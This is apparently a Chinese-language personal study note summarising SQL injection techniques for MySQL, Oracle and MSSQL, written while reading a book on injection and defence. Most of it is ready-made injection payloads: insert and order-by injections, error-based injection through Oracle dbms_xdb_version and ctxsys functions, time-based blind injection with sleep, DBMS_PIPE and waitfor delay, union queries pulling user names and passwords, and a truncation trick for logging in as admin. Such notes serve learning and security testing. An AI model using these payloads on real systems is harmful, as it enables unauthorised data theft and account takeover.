最近一直在看《SQL注入与防御》这本书籍,发现这本书许多的注入手段都已经过时,但是用来学习数据库基础语句,加深对注入的理解还是不错的。建议学习的时候要一边看书上的语句一边配合Google进行学习,不然可能会走弯路。
简单总结记录一下最近学习注入看到的一些注入语句,主要包括mysql,mssql,oracle数据库,后续学习过程中发现新的注入手法,也会一直更新。便于自己以后学习查看。
文章开始之前首先推荐一个网站:http://sqlfiddle.com/#!18/a7540/34946。这里可以直接在线测试sql语句
一、MySQL
这里就不放一些比较常规的注入手段,主要记录一下本人之前还不会的注入语法亦或是不知道的注入点。
0x01:insert注入
(1)回显注入
例如语句为:
insert table(col1,col2) values (‘A’,’B’)
注入点在最后一个参数,即B处
利用在mysql中字符与整型相加时,整型具有优先级来进行注入
例如select (‘a’ + substring((select @@version),1,1))
进行注入 insert table(col1,col2) values (‘A’,’B ‘+substring((select @@version),1,1)) +”)
即注入语句为:B’+substring((select @@version),1,1)) +’
(2)报错注入
bob’ or updatexml(1,concat(0x7e,database()),0) or ‘
(3)延迟注入
‘+(select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A)+’
0x02:order by注入
即位于order by后的注入点,因为这里无法进行参数化查询,若设置不当经常会出现注入
(1)布尔盲注
假设后台的sql语句如上,令order=1,0
页面无回显,再令order=1,1
页面成功回显,以此判断注入
(2)时间盲注
利用延迟判断注入点
order=(select*from(select sleep(1))a)
0x03:sql约束攻击
在处理SQL中的字符串时,字符串末尾的空格字符都会被删除
在注册时,若网站没有消除空格,注册admin与admin 等效,登录时sql语句进行查询又会删除空格,从而实现越权登录admin账户
二、Oracle
对于Oracle注入则包含了许多基本的注入手法
0x01:布尔盲注
(1)利用substr
?id=xx and (select substr(user,1,1) from dual)=’U’–
在根据页面返回进行盲注
(2)利用oracle decode函数
用法:
IF 条件=值1 THEN
RETURN(翻译值1)
ELSIF 条件=值2 THEN
RETURN(翻译值2)
select decode(substr(user,1,1),’S’,1,0) from dual
如果user第一位为S,返回1,否则返回0,所以也可用于盲注
通过判断user第一位进行盲注,若匹配成功,sql语句为and 1=1,页面正常返回数据
0x02:回显注入
判断回显字段:
?id=1 and 1=2 union select ‘null’,’null’ from dual– //测试中可能会需要测试字段类型,修改union后的null为数字或字符然后根据回显即可
查询当前用户:
select user from dual;
查询数据库
select distinct owner from all_tables;
列出数据表
select table_name from all_tables;
查询额外的数据表
id=1 and 1=2 union select ‘null’,(select table_name from all_tables where rownum=1 and table_name not in (‘ICOL$’)) from dual–
查询字段
id=1 and 1=2 union select ‘null’,(select column_name from user_tab_columns where table_name=’sns_users’ and rownum=1) from dual–
查询额外字段
id=1 and 1=2 union select ‘null’,(select column_name from user_tab_columns where table_name=’sns_users’ and rownum=1 and column_name not in (‘USER_NAME’)) from dual–
获取字段中的内容
id=1 and 1=2 union select user_name,user_pwd from “sns_users”–
0x03:报错注入
dbms_xdb_version.checkin()函数
属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID
使用方法:
DBMS_XDB_VERSION.CHECKIN( pathname VARCHAR2) RETURN DBMS_XDB.resid_type;
pathname 签出资源的路径名
进行报错注入:
id=1 and (select dbms_xdb_version.chenkin((select user from dual) from dual) is not null);
dbms_xdb_version.uncheckout()函数
用法与checkin一致
id=1 and (select dbms_xdb_version.uncheckout((select user from dual) from dual)is not null);
dbms_xdb_version.makeversioned()函数
用法与checkin一致
id=1 and (select dbms_xdb_version.makeversioned((select user from dual) from dual) is not null);
ctxsys.drithsx.sn()函数
此函数去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容
id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual));
0x04:延迟注入
判断注入:
?id=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE(‘x’,5))–
再利用oracle decode函数进行注入
id=1 and 1=(select decode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’,5),0) from dual) —
三、Mssql
数据库如下
0x01:布尔盲注
(1)len()函数
根据页面回显判断出数据库长度
id=1 and len(db_name())>1
在利用case 与substring结合,注出数据
select * from ForgeRock where id=1/(case when (ascii(substring((select db_name()),1,1))>64) then 1 else 0 end);
(2)is_srvrolemember函数
is_srvrolemember判断当前用户是否属于某组,属于返回1,不属于返回0
查询当前用户是否属于某一组:select is_srvrolemember(‘sysadmin’);
利用此函数进行注入:
select * from ForgeRock where id=1-(is_srvrolemember(‘sysadmin’));
0x02:报错注入
(1)直接报错
网站错误信息处理不当,进行类型转换时直接报错回显信息
(2)利用having与group by进行报错注入
SELECT
productName,
description
FROM
ForgeRock
WHERE
productName='OpenIDM' having '1'='1'
报错回显出了第一列
在结合group by回显其他列
SELECT
productName,
description
FROM
ForgeRock
WHERE
productName='OpenIDM' group by productName having '1'='1'
0x03:延迟注入
waitfor delay ‘0:0:4’
(1)验证注入
select * from ForgeRock where id=1 waitfor delay ‘0:0:4’
(2)猜解数据库
select * from ForgeRock where id=1 if (substring((select db_name()),1,1)=’d’) waitfor delay ‘0:0:4’
if (ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1)) = 116) WAITFOR DELAY ‘0:0:3’–